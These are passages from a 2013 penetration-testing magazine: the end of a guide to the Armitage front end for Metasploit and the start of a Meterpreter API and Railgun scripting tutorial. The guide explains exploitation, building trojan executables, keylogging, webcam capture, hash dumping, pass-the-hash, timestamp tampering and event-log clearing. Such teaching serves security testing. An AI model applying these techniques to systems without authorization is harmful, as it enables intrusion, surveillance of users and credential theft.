Table View to switch to this mode. Armitage will remember your preference (Figure 3). Click any of the table headers to sort the hosts. Highlight a row and right-click it to bring up a menu with options for that host. Armitage will highlight the IP address of any host with sessions. If a pivot is in use, Armitage will make it bold as well. Tabs Armitage opens each dialog, console, and table in a tab below the module and target panels. Click the X button to close a tab. You may right-click the X button to open a tab in a window, take a screenshot of a tab, or close all tabs with the same name (Figure 4). Hold shift and click X to close all tabs with the same name. Hold shift + control and click X to open the tab in its own window. You may drag and drop tabs to change their order. Armitage provides several keyboard shortcuts to make your tab management experience as enjoyable as possible. Use Ctrl+T to take a screenshot of the active tab. Use Ctrl+D to close the active tab. Try Ctrl+Left and Ctrl+Right to quickly switch tabs. And Ctrl+W to open the current tab in its own window.

Consoles Metasploit console, Meterpreter console, and shell interfaces each use a console tab. A console tab lets you interact with these interfaces through Armitage. The console tab tracks your command history. Use the up arrow to cycle through previously typed commands. The down arrow moves back to the last command you typed. In the Metasploit console, use the Tab key to complete commands and parameters. This works just like the Metasploit console outside of Armitage. Use Ctrl Plus to make the console font size larger, Ctrl Minus to make it smaller, and Ctrl 0 to reset it. This change is local to the current console only. Visit Armitage -> Preferences to permanently change the font. Press Ctrl F to show a panel that will let you search for text within the console.

Figure 4. Tabs management

TBO 01/2013

Use Ctrl A to select all text in the console’s buffer. Armitage sends a use or a set PAYLOAD command if you click a module or a payload name in a console. To open a Console go to View -> Console or press Ctrl+N. On MacOS X and Windows, you must click in the edit box at the bottom of the console to type. Linux doesn’t have this problem. Always remember, the best Armitage experience is on Linux. The Armitage console uses color to draw your attention to some information. To disable the colors, set the console.show_colors.boolean preference to false. You may also edit the colors through Armitage -> Preferences. Here is the Armitage color palette and the preference associated with each color: Figure 5. Logging Armitage logs all console, shell, and event log output for you. Armitage organizes these logs by date and host. You’ll find these logs in the ~/.armitage folder. Go to View -> Reporting -> Acitivity Logs to open this folder. Armitage also saves copies of screenshots and webcam shots to this folder. Change the armitage log_everything boolean preference key to false to disable this feature. Edit the armitage log_data_here folder to set the folder where Armitage should log everything to.

Export Data Armitage and Metasploit share a database to track your hosts, services, vulnerabilities, credentials, loots, and user-agent strings captured by browser exploit modules. To get this data, go to View -> Reporting -> Export Data. This option will export data from Metasploit and create easily parsable XML and tab separated value (TSV) files.

Host Management

Dynamic Workspaces Armitage’s dynamic workspaces feature allows you to create views into the hosts’ database and quickly switch between them. Use Workspaces -> Manage to manage your dynamic workspaces. Here you may add, edit and remove workspaces you create (Figure 6). To create a new dynamic workspace, press Add. You will see the following dialog: Figure 7. Give your dynamic workspace a name. It doesn’t matter what you call it. This description is for you. If you’d like to limit your workspace to hosts from a certain network, type a network description in the Hosts field. A network description might be: 10.10.0.0/16 to display hosts between 10.10.0.010.10.255.255. Separate multiple networks with a comma and a space.

Figure 6. Managing your dynamic workspaces

Figure 5. Armitage color palette

www.hakin9.org/en

Figure 7. Creating a new dynamic workspace

101

EXPLOITING WITH METASPLOIT You can cheat with the network descriptions a little. If you type: 192.168.95.0, Armitage will assume you mean 192.168.95.0-255. If you type: 192.168.0.0, Armitage will assume you mean 192.168.0.0-192.168.255.255. Fill out the Ports field to include hosts with certain services. Separate multiple ports using a comma and a space. Use the OS field to specify which operating system you’d like to see in this workspace. You may type a partial name, such as “indows”. Armitage will only include hosts whose OS name includes the partial name. This value is not case sensitive. Separate multiple operating systems with a comma and a space. Select Hosts with sessions only to only include hosts with sessions in this dynamic workspace. You may specify any combination of these items when you create your dynamic workspace. Each workspace will have an item in the Workspaces menu. Use these menu items to switch between workspaces. You may also use Ctrl+1 through Ctrl+9 to switch between your first nine workspaces. Use Workspaces -> Show All or Ctrl+Backspace to display the entire database. Armitage will only display 512 hosts at any given time, no matter how many hosts are in the database. If you have thousands of hosts, use this feature to segment your hosts into useful target sets.

Importing Hosts To add host information to Metasploit, you may import it. The Hosts -> Import Hosts menu accepts the following files: • • • • • • • • • • • • • • • • • • •

102

Acunetix XML Amap Log Amap Log -m Appscan XML Burp Session XML Foundstone XML IP360 ASPL IP360 XML v3 Microsoft Baseline Security Analyzer Nessus NBE Nessus XML (v1 and v2) NetSparker XML NeXpose Simple XML NeXpose XML Report Nmap XML OpenVAS Report Qualys Asset XML Qualys Scan XML Retina XML

You may manually add hosts with Hosts -> Add Hosts. NMap Scans You may also launch an NMap scan from Armitage and automatically import the results into Metasploit. The Hosts ->NMap Scan menu has several scanning options. Optionally, you may type db_nmap in a console to launch NMap with the options you choose. NMap scans do not use the pivots you have set up. MSF Scans Armitage bundles several Metasploit scans into one feature called MSF Scans. This feature will scan for a handful of open ports. It then enumerates several common services using Metasploit auxiliary modules built for the purpose. Highlight one or more hosts, right-click, and click Scan to launch this feature. You may also go to Hosts -> MSF Scans to launch these as well. These scans work through a pivot and against IPv6 hosts as well. These scans do not attempt to discover if a host is alive before scanning. To save time, you should do host discovery first (e.g. an ARP scan, ping sweep, or DNS enumeration) and then launch these scans to enumerate the discovered hosts. DNS Enumeration Another host discovery option is to enumerate a DNS server. Go to Hosts -> DNS Enum to do this. Armitage will present a module launcher dialog with several options. You will need to set the DOMAIN option to the domain you want to enumerate. You may also want to set NS to the IP address of the DNS server you’re enumerating. If you’re attacking an IPv6 network, DNS enumeration is one option to discover the IPv6 hosts on the network. Database Maintenance Metasploit logs everything you do to a database. Over time your database will become full of stuff. If you have a performance problem with Armitage, try clearing your database. To do this, go to Hosts -> Clear Database.

Exploitation

Remote Exploits Before you can attack, you must choose your weapon. Armitage makes this process easy. Use Attacks -> Find Attacks to generate a custom Attack menu for each host. To exploit a host: rightclick it, navigate to Attack, and choose an exploit.

TBO 01/2013

To show the right attacks, make sure the operating system is set for the host. The Attack menu limits itself to exploits that meet a minimum exploit rank of great. Some useful exploits are ranked good and they won’t show in the attack menu. You can launch these using the module browser. Use Armitage -> Set Exploit Rank to change the minimum exploit rank. Optionally, if you’d like to see hosts that are vulnerable to a certain exploit, browse to the exploit in the module browser. Right-click the module. Select Relevant Targets. Armitage will create a dynamic workspace that shows hosts that match the highlighted exploit. Highlight all of the hosts and doubleclick the exploit module to attack all of them at once. Which exploit? Learning which exploits to use and when comes with experience. Some exploits in Metasploit implement a check function. These check functions connect to a host and check if the exploit applies. Armitage can use these check functions to help you choose the right exploit when there are many options. For example, targets listening on port 80 will show several web application exploits after you use Find Attacks. Click the Check exploits menu to run the check command against each of these. Once all the checks are complete, press Ctrl F and search for vulnerable hosts. This will lead you to the right exploit (Figure 8). Clicking a host and selecting Services is another way to find an exploit. If you have NMap scan results, look at the information field and guess which server software is in use. Use the module browser to search for any Metasploit modules related to that software. One module may help you find information required by another exploit. Apache Tomcat is an example of this. The tomcat_mgr_login module will search for a username and password that you can use. Once you have this, you can launch the tomcat_mgr_deploy exploit to get a shell on the host.

The exploit launch dialog lets you configure options for a module and choose whether to use a reverse connect payload. Armitage presents options in a table. Double-click the value to edit it. If an option requires a filename, double-click the option to open up a file chooser dialog. You may also check Show advanced options to view and set advanced options. If you see SOMETHING + in a table, this means you can double-click that item to launch a dialog to help you configure its value. This convention applies to the module launcher and preferences dialogs. Some penetration testers organize their targets into text files to make them easier to track. Armitage can make use of these files too. Double-click RHOST + and select your targets file. The file must contain one IP address per line. This is an easy way to launch an attack or action against all of those hosts. For remote exploits, Armitage chooses your payload for you. Generally, Armitage will use Meterpreter for Windows targets and a command shell payload for UNIX targets. Click Launch to run the exploit. If the exploit is successful, Armitage will make the host red and surround it with lightning bolts. Metasploit will also print a message to any open consoles. Automatic Exploitation If manual exploitation fails, you have the hail mary option. Attacks -> Hail Mary launches this feature. Armitage’s Hail Mary feature is a smart db_autopwn. It finds exploits relevant to your targets, filters the exploits using known information, and then sorts them into an optimal order. This feature won’t find every possible shell, but it’s a good option if you don’t know what else to try. Client-side Exploits Through Armitage, you may use Metasploit’s client-side exploits. A client-side attack is one that at-

Launching Exploits Armitage uses this dialog to launch exploits: Figure 9.

Figure 8. Finding the right exploit

www.hakin9.org/en

Figure 9. Launching exploits

103

EXPLOITING WITH METASPLOIT tacks an application and not a remote service. If you can’t get a remote exploit to work, you’ll have to use a client-side attack. Use the module browser to find and launch client-side exploits. Search for fileformat to find exploits that trigger when a user opens a malicious file. Search for browser to find exploits that server browser attacks from a web server built into Metasploit. Client-side Exploits and Payloads If you launch an individual client-side exploit, you have the option of customizing the payload that goes with it. Armitage picks same defaults for you. In a penetration test, it’s usually easy to get someone to run your evil package. The hard part is to get past network devices that limit outgoing traffic. For these situations, it helps to know about meterpreter’s payload communication options. There are payloads that speak HTTP, HTTPS, and even communicate to IPv6 hosts. These payloads give you options in a tough egress situation. To set the payload, double-click PAYLOAD in the option column of the module launcher. This will open a dialog asking you to choose a payload (Figure 10). Highlight a payload and click Select. Armitage will update the PAYLOAD, DisablePayloadHandler, ExitOnSession,LHOST, and LPORT values for you. You’re welcome to edit these values as you see fit. If you select the Start a handler for this payload option, Armitage will set the payload options to launch a payload handler when the exploit launches. If you did not select this value, you’re responsible for setting up a multi/handler for the payload.

Figure 10. Choosing a payload

104

Payload Handlers A payload handler is a server that runs in Metasploit. Its job is to wait for a payload to connect to your Metasploit and establish a session. To quickly start a payload handler, navigate to Armitage -> Listeners. A bind listener attempts to connect to a payload listening for a connection. A reverse listener waits for the payload to connect back to you. You may set up shell listeners to receive connections from netcat. Go to View -> Jobs to see which handlers are running. Generate a Payload Exploits are great, but don’t ignore the simple stuff. If you can get a target to run a program, then all you need is an executable. Armitage can generate an executable from any of Metasploit’s payloads. Choose a payload in the module browser, doubleclick it, select the type of output, and set your options. Once you click launch, a save dialog will ask you where to save the file to (Figure 11). To create a Windows trojan binary, set the output type to exe. Set the Template option to a Windows executable. Set KeepTemplateWorking if you’d like the template executable to continue to work as normal. Make sure you test the resulting binary. Some template executables will not yield a working executable. Remember, if you have a payload, it needs a handler. Use the multi/handler output type to create a handler that waits for the payload to connect. This option offers more flexibility and payload options than the Armitage ->Listeners menu. If you plan to start a handler and then generate a payload, here’s a tip that will save you some time. First, configure a multi/handler as described. Hold down Shift when you click Launch. This will tell Ar-

Figure 11. Saving the file

TBO 01/2013

Need a scholarship?

 

White hats, Ninjas, Grinders, and Engineers – listen up! The Lint Center for National Security Studies awards merit-based scholarships semi-annually in both July and January. A streamlined, web-based application form is available on our main portal. Undergraduate and post-graduate students pursuing technical degrees in computer security, computer science, diplomacy, and linguistics are encouraged.

LintCenter.org   About the Lint Center: The Lint Center for National Security Studies in the United States is a Veteran and Minority directed, all-volunteer 501(c)(3) non-profit organization, dedicated to fostering the educational development of the next generation of the National Security and Intelligence communities by providing passionate individuals with scholarship opportunities and mentorship from experienced National Security personnel. About the Lint Center’s Mentoring Program: In addition to the scholarship award, winners will acquire an experienced security practitioner-mentor. With over 150 mentors, the Lint Center is well positioned to match emerging leaders with practitioners to streamline the learning curve. Check out our blog: LintCenter.info Follow us on Twitter: @LintCenter Become a fan: facebook.com/LintCenter

EMPOWER, ENHANCE, ENABLE…

EXPLOITING WITH METASPLOIT mitage to keep the module launch dialog open. Once your handler is started, change the output type to the desired value, and click Launch again. This will generate the payload with the same values used to create the multi/handler.

Post Exploitation

Managing Sessions Armitage makes it easy to manage the meterpreter agent once you successfully exploit a host. Hosts running a meterpreter payload will have a Meterpreter N menu for each Meterpreter session (Figure 12). If you have shell access to a host, you will see a Shell N menu for each shell session. Right-click the host to access this menu. If you have a Windows shell session, you may go to Shell N -> Meterpreter to upgrade the session to a Meterpreter session. If you have a UNIX shell, go to Shell N -> Upload to upload a file using the UNIX printf command. Privilege Escalation Some exploits result in administrative access to the host. Other times, you need to escalate privileges yourself. To do this, use the Meterpreter N -> Access -> Escalate Privileges menu. This will highlight the privilege escalation modules in the module browser. Try the getsystem post module against Windows XP/2003 era hosts. Token Stealing Another privilege escalation option is token stealing. When a user logs onto a Windows host, a token is generated and acts like a temporary cookie

Figure 12. Meterpreter menu

106

to save the user the trouble of retyping their password when they try to access different resources. Tokens persist until a reboot. You may steal these tokens to assume the rights of that user. To see which tokens are available to you, go to Meterpreter N -> Access -> Steal Token. Armitage will present a list of tokens to you. Click Steal Token to steal one. If you want to revert to your original token, press Revert to Self. The Get UID button shows your current user ID. Session Passing Once you exploit a host, duplicating your access should be a first priority. Meterpreter N -> Access -> Pass Session will inject meterpreter into memory and execute it for you. By default this option is configured to call back to Armitage’s default Meterpreter listener. Just click Launch. You may also use Pass Session to send Meterpreter to a friend. Set LPORT and LHOST to the values of their Meterpreter multi/handler. If your friend uses Armitage, have them type set in a Console tab and report the LHOST and LPORT values to you. These are the values for their default Meterpreter listener. File Browser Meterpreter gives you several options for exploring a host once you’ve exploited it. One of them is the file browser. This tool will let you upload, download, and delete files. Visit Meterpreter N -> Explore -> Browse Files to access the File Browser. Right-click a file to download or delete it. If you want to delete a directory, make sure it’s empty first. You may download entire folders or individual files. Go to View -> Downloads to access your downloaded files. If you have system privileges, you may modify the file timestamps using the File Browser. Rightclick a file or directory and go to the Timestamp menu. This features works like a clipboard. Use Get MACE Values to capture the timestamps of the current file. Right-click another file and use Set MACE Values to update the timestamps of that file. Command Shell You can reach a command shell for a host through Meterpreter N -> Interact -> Command Shell. The Meterpreter shell is also available under the same parent menu. Navigating to the Meterpreter N menu for each action gets old fast. Right-click inside the Meterpreter shell window to see the Meterpreter N menu items right away.

TBO 01/2013

Close the command shell tab to kill the process associated with the command shell. VNC To interact with a desktop on a target host, go to Meterpreter N -> Interact -> Desktop (VNC). This will stage a VNC server into the memory of the current process and tunnel the connection through Meterpreter. Armitage will provide you the details to connect a local VNC client to your target. Screenshots and Webcam Spying To grab a screenshot use Meterpreter N -> Explore -> Screenshot. There is a Webcam Shot option in the same location. This option snaps a frame from the user’s webcam. Right-click a screenshot or webcam shot image to change the zoom for the tab. This zoom preference will stay, even if you refresh the image. Click Refresh to update the screenshot or grab another frame from the webcam. ClickWatch (10s) to automatically snap a picture every ten seconds. Process Management and Key Logging Go to Meterpreter N -> Explore -> Show Processes to see a list of processes on your victim. Use Kill to kill the highlighted processes. Meterpreter runs in memory. It’s possible to move Meterpreter from one process to another. This is called migration. Highlight a process and click Migrate to migrate to another process. Your session will have the permissions of that process. While in a process, it’s also possible to see keystrokes from the vantage point of that process. Highlight a process and click Log Keystrokes to launch a module that migrates meterpreter and starts capturing keystrokes. If you key log from explorer.exe you will see all of the keys the user types on their desktop. If you choose to migrate a process for the purpose of key logging, you should duplicate your session first. If the process Meterpreter lives in closes, your session will go away. Post-exploitation Modules Metasploit has several post-exploitation modules too. Navigate the post branch in the module browser. Double-click a module and Armitage will show a launch dialog. Armitage will populate the module’s SESSION variable if a compromised host is highlighted. Each post-exploitation module will execute in its own tab and present its output to you there. To find out which post modules apply for a session: right-click a compromised host and navigate

www.hakin9.org/en

to Meterpreter N ->Explore -> Post Modules or Shell N -> Post Modules. Clicking this menu item will show all applicable post modules in the module browser. Metasploit saves post-exploitation data into a Loot database. To view this data go to View -> Loot. You may highlight multiple hosts and Armitage will attempt to run the selected post module against all of them. Armitage will open a new tab for the post module output of each session. This may lead to a lot of tabs. Hold down shift and click X on one of the tabs to close all tabs with the same name.

Maneuver

Pivoting Metasploit can launch attacks from a compromised host and receive sessions on the same host. This ability is called pivoting. To create a pivot, go to Meterpreter N -> Pivoting -> Setup.... A dialog will ask you to choose which subnet you want to pivot through the session. Once you’ve set up pivoting, Armitage will draw a green line from the pivot host to all targets reachable by the pivot you created. The line will become bright green when the pivot is in use. To use a pivot host for a reverse connection, set the LHOST option in the exploit launch dialog to the IP address of the pivot host. Scanning and External Tools Once you accessed a host, it’s good to explore and see what else is on the same network. If you’ve set up pivoting, Metasploit will tunnel TCP connections to eligible hosts through the pivot host. These connections must come from Metasploit. To find hosts on the same network as a compromised host, right-click the compromised host and go to Meterpreter N-> ARP Scan or Ping Sweep. This will show you which hosts are alive. Highlight the hosts that appear, right-click, and select Scan to scan these hosts using Armitage’s MSF Scan feature. These scans will honor the pivot you set up. External tools (e.g., nmap) will not use the pivots you’ve set up. You may use your pivots with external tools through a SOCKS proxy though. Go to Armitage -> SOCKS Proxy... to launch the SOCKS proxy server. The SOCKS4 proxy server is one of the most useful features in Metasploit. Launch this option and you can set up your web browser to connect to websites through Metasploit. This allows you to browse internal sites on a network like you’re local. You may also configure proxychains

107

EXPLOITING WITH METASPLOIT on Linux to use almost any program through a proxy pivot. Password Hashes To collect Windows password hashes, visit Meterpreter N -> Access -> Dump Hashes. You need administrative privileges to do this. There are two hash dumping options. One is the lsass method and the other is the registry method. The lsass method attempts to grab the password hashes from memory. This option works well against Windows XP/2003 era hosts. The registry method works well against modern Windows systems. You may view collected hashes through View -> Credentials. For your cracking pleasure, the Export button in this tab will export credentials in pwdump format. You may also use the Crack Passwords button to run John the Ripper against the hashes in the credentials database. Pass-the-Hash When you login to a Windows host, your password is hashed and compared to a stored hash of your password. If they match, you’re in. When you attempt to access a resource on the same Windows domain, the stored hash is sent to the other host and used to authenticate you. With access to these hashes, you can use this mechanism to take over other hosts on the same domain. This is called a pass-the-hash attack. Use Login -> psexec to attempt a pass-the-hash attack against another Windows host. Click Check all Credentials to have Armitage try all hashes and credentials against the host. The pass-the-hash attack attempts to upload a file and create a service that immediately runs. Only administrator users can do this. Further, your targets must be on the same active directory domain for this attack to work. Using Credentials Armitage will create a Login menu on each host with known services. Right-click a host and navigate to Login ->service. This will open a dialog where you may choose a username and password from the credentials known to Metasploit. Some services (e.g. telnet and ssh) will give you a session when a login succeeds. Others will not. Check the Try all credentials option and Metasploit will login to the service with each of the known credentials. Metasploit automatically adds each successful login to the credentials table for you. The best way into a network is through valid credentials. Remember that a successful username/

108

password combination from one service may give you access to another host that you couldn’t exploit. Password Brute Force Metasploit can attempt to guess a username and password for a service for you. This capability is easy to use through the module browser. Metasploit supports brute forcing through the auxiliary modules named service_login. Type login in the module browser to search for them. To brute force a username and password over SSH, browse to auxiliary/scanner/ssh/ssh_login in the modules panel and double-click it. If you know the username, set the USERNAME variable. If you’d like Metasploit to brute force the username, select a value for USER_FILE. Double-click the USER_FILE variable to bring up a file chooser where you can select a text file containing a list of usernames. Metasploit has many files related to brute forcing in the [metasploit install]/data/wordlists directory. Set the PASS_FILE variable to a text file containing a list of passwords to try. If you’re only brute forcing one host and you have a lot of usernames/passwords to try, I recommend using an external tool like Hydra. Metasploit does not make several parallel connections to a single host to speed up the process. This lesson can be taken one step further – use the right tool for each job.

Remote Metasploit

Remote Connections You can use Armitage to connect to an existing Metasploit instance on another host. Working with a remote Metasploit instance is similar to working with a local instance. Some Armitage features require read and write access to local files to work. Armitage’s deconfliction server adds these features and makes it possible for Armitage clients to use Metaspoit remotely. Connecting to a remote Metasploit requires starting a Metasploit RPC server and Armitage’s de-

Figure 13. Your usage of Metasploit with Metasploit RPC server and Armitage’s deconfliction server

TBO 01/2013

confliction server. With these two servers set up, your use of Metasploit will look like this diagram: Figure 13. Multi-Player Metasploit Setup The Armitage Linux package comes with a teamserver script that you may use to start Metasploit’s RPC daemon and Armitage’s deconfliction server with one command. To run it: cd /path/to/metasploit/msf3/data/armitage ./teamserver [external IP address] [password]

This script assumes armitage.jar is in the current folder. Make sure the external IP address is correct (Armitage doesn’t check it) and that your team can reach port 55553 on your attack host. That’s it. Metasploit’s RPC daemon and the Armitage deconfliction server are not GUI programs. You may run these over SSH. The Armitage team server communicates over SSL. When you start the team server, it will present a server fingerprint. This is a SHA-1 hash of the server’s SSL certificate. When your team members connect, Armitage will present the hash of the certificate the server presented to them. They should verify that these hashes match. Do not connect to 127.0.0.1 when a teamserver is running. Armitage uses the IP address you’re connecting to determine whether it should use SSL (teamserver, remote address) or non-SSL (msfrpcd, localhost). You may connect Armitage to your teamserver locally, use the [external IP address] in the Host field. Armitage’s red team collaboration setup is CPU sensitive and it likes RAM. Make sure you have 1.5GB of RAM in your team server.

Multi-Player Metasploit Armitage’s red team collaboration mode adds a few new features. These are described here: View -> Event Log opens a shared event log. You may type into this log and communicate as if you’re using an IRC chat room. In a penetration test this event log will help you reconstruct major events (Figure 14). Multiple users may use any Meterpreter session at the same time. Each user may open one or more command shells, browse files, and take screenshots of the compromised host. Metasploit shell sessions are automatically locked and unlocked when in use. If another user is interacting with a shell, Armitage will warn you that it’s in use. Some Metasploit modules require you to specify one or more files. If a file option has a + next to it, then you may double-click that option name to choose a local file to use. Armitage will upload the chosen local file and set the option to its remote location for you. Generally, Armitage will do its best to move files between you and the shared Metasploit server to create the illusion that you’re using Metasploit locally. Penetration testers will find this feature invaluable. Imagine you’re working on a pen test and come across a system you don’t know much about. You can reach back to your company and ask your local expert to load Armitage and connect to the same Metasploit instance. They will immediately have access to your scan data and they can interact with your existing sessions... seamlessly. Or, imagine that you’re simulating a phishing attack and you get access to a host. Your whole team can now work on the same host. One person can search for data, another can set up a piv-

Figure 14. The event log

www.hakin9.org/en

109

EXPLOITING WITH METASPLOIT ot and search for internal hosts to attack, and another can work on persistence. The sky is the limit here. Some meterpreter commands may have shortened output. Multi-player Armitage takes the initial output from a command and delivers it to the client that sent the command. Additional output is ignored (although the command still executes normally). This limitation primarily affects long running meterpreter scripts.

Scripting Armitage

Cortana Armitage includes Cortana, a scripting technology developed through DARPA’s Cyber Fast Track program. With Cortana, you may write red team bots and extend Armitage with new features. You may also make use of scripts written by others. Cortana is based on Sleep, an extensible Perllike language. Cortana scripts have a .cna suffix. Read the Cortana Tutorial to learn more about how to develop bots and extend Armitage (Figure 15). Stand-alone Bots A stand-alone version of Cortana is distributed with Armitage. You may connect the stand-alone Cortana interpreter to an Armitage team server. Here’s a helloworld.cna Cortana script: on ready { println(“Hello World!”); quit(); }

To run this script, you will need to start Cortana. First, stand-alone Cortana must connect to a team server. The team server is required because Cortana bots are another red team member.

Resources

Cortana is a full featured environment for developing red team bots and extending Armitage. If you’d like to learn more, take a look at the following resources: • Cortana Tutorial for Scripters • Public Cortana Script Repository • Sleep Manual

If you want to connect multiple users to Metasploit, you have to start a team server. Next, you will need to create a connect.prop file to tell Cortana how to connect to the team server you started. Here’s an example connect.prop file: host=127.0.0.1 port=55553 user=msf pass=password nick=MyBot

Now, to launch your bot: cd /path/to/metasploit/msf3/data/armitage java -jar cortana.jar connect.prop helloworld.cna

Script Management You don’t have to run Cortana bots stand-alone. You may load any bot into Armitage directly. When you load a bot into Armitage, you do not need to start a teamserver. Armitage is able to deconflict its actions from any loaded bots on its own. You may also use Cortana scripts to extend Armitage and add new features to it. Cortana scripts may define keyboard shortcuts, insert menus into Armitage, and create simple user interfaces. To load a script into Armitage, go to Armitage -> Scripts. Press Load and choose the script you would like to load. Scripts loaded in this way will be available each time Armitage starts. Output generated by bots and Cortana commands are available in the Cortana console. Go to View -> Script Console.

MICHAEL BOMAN

Figure 15. The Cortana Tutorial

110

Michael Boman is a penetration tester by day and a malware researcher by night. Michael has more than 10 years experience in security testing of applications and infrastructure. He also deliver courses in security testing and secure development. Michael is passionate about computer security and doing his best so that more people do it right from start. You can find him at his website http://michaelboman.org where he tries to share his experiences whenever he can.

TBO 01/2013

TOOLS

Advance Meterpreter with API, Mixins and Railgun

Meterpreter is considered the heart of metasploit – it provides a wide range of features that can be performed during post exploitation. The main role of meterpreter is to make our penetration task easier and faster.

I

n this tutorial we will talk about some of the advanced concepts related to meterpreter. We will dive deeper into the core of metasploit to understand how meterpreter scripts function and how we can build our own scripts. From a penetration tester’s point of view, it is very essential to know how to implement their own scripting techniques, to fulfill the needs of their scenario. There can be situations when you have to perform tasks where meterpreter may not be enough to solve your requirements. So you cannot sit back. This is where developing own scripts and modules becomes handy. In this tutorial, we will discuss the meterpreter API and some important mixins. Then in later recipes, we will code our own meterpreter scripts.

we have already exploited the target (Windows 7) and have an active meterpreter session. The Ruby shell can be launched by using the irb command.

Meterpreter API

This demonstrates that our shell is working fine and can interpret the statements. Let us perform a complex operation now. Let us create a hash and store some values in it along with keys. Then we will delete the values conditionally. The script will look something like this:

Meterpreter API can be helpful for programmers to implement their own scripts during penetration testing. Since the entire Metasploit framework is built using the Ruby language, some experience in Ruby programming can enhance your penetration experience with metasploit. We will be dealing with Ruby scripts in the next few recipes, so some Ruby programming experience will be required to understand the scripts. Even if you have a basic understanding of Ruby, or other scripting languages, it will be easy for you to understand the concepts. Let us start with launching an interactive Ruby shell in the meterpreter. Here I am assuming that

112

meterpreter > irb [*] Starting IRB shell [*] The ‘client’ variable holds the meterpreter client

Now, we are into the Ruby shell and can execute our Ruby scripts. Let us start with a basic addition of two numbers. >> 2+2 => 4

x = { “a” => 100, “b” => 20 } x.delete_if { |key, value| value < 25 } print x.inspect

The script is simple to understand. In the first line, we created keys (a & b) and assigned them values. Then in the next line we added a condition that de-

TBO 01/2013

letes any hash element whose value is less than 25. Let’s look at some print API calls which will be useful to us while writing meterpreter scripts. • print_line(‘’message’’): This call will print the output and add a carriage return at the end. • print_status(‘’message’’): This call is used most often in the scripting language. This call will provide a carriage return and print the status of whatever is executing, with a [*] prefixed at the beginning. >> print_status(‘’PentestMag”) [*] PentestMag => nil

• print_good(‘’message’’): This call is used to provide result of any operation. The message is displayed with a [+] prefixed at the beginning, indicating that the action was successful. >> print_good(“PentestMag”) [+] PentestMag => nil

• print_error(‘’message’’): This call is used to display an error message that may occur during script execution. The message is displayed with a [-] prefixed at the beginning of the error message. >> print_error(“PentestMag”) [-] PentestMag => nil

The reason why I discussed these different print calls is that they are used widely while writing meterpreter scripts in respective situations. You can find documentation relating to the meterpreter API in /opt/framework3/msf3/documentation. Go through them in order to have a clear and detailed understanding. You can also refer to /opt/framework3/msf3/lib/rex/post/meterpreter, where you can find lots of scripts related to meterpreter API. These scripts comprise the various Meterpreter core, desktop interaction, privileged operations, and many more commands. Review these scripts to become intimately familiar how Meterpreter operates within a compromised system.

Meterpreter Mixins Meterpreter mixins are metasploit specific irb calls. These calls are not available in irb, but they can be used to represent the most commons tasks while writing meterpreter scripts. They can simplify our task of writing meterpreter specific scripts. Let us see some useful mixins:

www.hakin9.org/en

• cmd_exec(cmd): Executes the given command as hidden and channelized. The output of the command is provided as a multiline string. • eventlog_clear(evt = “”): Clears a given event log or all event logs if none is given. It returns an array of event logs that were cleared. • eventlog_list(): Enumerates the event logs and returns an array containing the names of the event logs. • file_local_write(file2wrt, data2wrt): Writes a given string to a specified file. • is_admin?(): Identifies whether or not the user is an admin. Returns true if the user is an admin or false if not. • is_uac_enabled?(): Determines whether User Account Control (UAC) is enabled on the system. • registry_createkey(key): Creates a given registry key and returns true if successful. • registry_deleteval(key,valname): Deletes a registry value given the key and value name. It returns true if successful. • registry_delkey(key): Deletes a given registry key and returns true if successful. • registry_enumkeys(key): Enumerates the subkeys of a given registry key and returns an array of subkeys. • registry_enumvals(key): Enumerates the values of a given registry key and returns an array of value names. • registry_getvaldata(key,valname): Returns the data of a given registry key and its value. • service_create(name, display_name, executable_on_host,startup=2): Function for the creation of a service that runs its own process. Its parameters are the service name as a string, the display name as a string, the path of the executable on the host that will execute at startup, as a string, and the startup type as an integer: 2 for Auto, 3 for Manual or 4 for Disable. • service_delete(name): Function for deleting a service by deleting the key in the registry. • service_info(name): Retrieves the Windows service information. The information is returned in a hash with display name, startup mode, and command executed by the service. The service name is case sensitive. Hash keys are Name, Start, Command, and Credentials. • service_list(): Lists all Windows services present. It returns an array containing the services’ names. • service_start(name): Function for service startup. It returns 0 if the service is started, 1 if the service is already started, and 2 if the service is disabled. • service_stop(name): Function for stopping a service. It returns 0 if the service has stopped successfully, 1 if the service is already stopped or disabled, and 2 if the service cannot be stopped.

113

TOOLS This was a quick reference to some the more important meterpreter mixins. Using these mixins can reduce the complexity of your scripts. We will understand their usage in the next few paragraphs where we will be creating and analyzing meterpreter scripts.

RailGun- Converting Ruby into a weapon In the previous discussion we saw the use of meterpreter API to run Ruby scripts. Let us take that one step further. What can be the simplest method to make remote API calls on the victim machine? Railgun is the obvious answer. It is a meterpreter extension that allows an attacker to call DLL functions directly. Most often it is used to make calls to the Windows API, but we can call any DLL on the victim’s machine. To start using Railgun, we will require an active meterpreter session on our target machine. To start the Ruby interpreter we use the irb command, as discussed in the previous section. meterpreter>irb >>

Before we move into calling DLL’s, let us first see the essential steps to follow in order to get the best use out of Railgun. • Identify the function(s) you wish to call • Locate the function on http://msdn.microsoft. com/en-us/library/aa383749(v=vs.85).aspx • Check the library(DLL) in which the function is located(e.g. kernel32.dll) • The selected library function can be called as client.railgun.dll_name.function_name(arg1, arg2, ...) Windows MSDN library can be used to identify useful DLL’s and functions to call on the target machine. Let us call a simple IsUserAnAdmin function of shell32.dll and analyse the output. >> client.railgun.shell32.IsUserAnAdmin => {“GetLastError”=>0, “return”=>false}

As we can see, the function returned a ‘false’ value indicating that the user is not an admin. Let us escalate our privilege using the getsystem command and try the call again. meterpreter > getsystem ...got system (via technique 4). meterpreter > irb [*] Starting IRB shell

114

[*] The ‘client’ variable holds the meterpreter client >> client.railgun.shell32.IsUserAnAdmin => {“GetLastError”=>0, “return”=>true}

This time the function returned ‘true’ indicating that our privilege escalation was successful and now we are working as the system admin. Railgun provides us the flexibility to easily perform those tasks which are not present in the form of modules. So we are not just limited to those scripts and modules that the framework provides us, in fact we can make calls on demand. You can further extend this call into a small Ruby script with error checking: print_status “Running the IsUserAnAdmin function” status = client.railgun.shell32.IsUserAnAdmin() if status[‘return’] == true then print_status ‘You are an administrator’ else print_error ‘You are not an administrator’ end

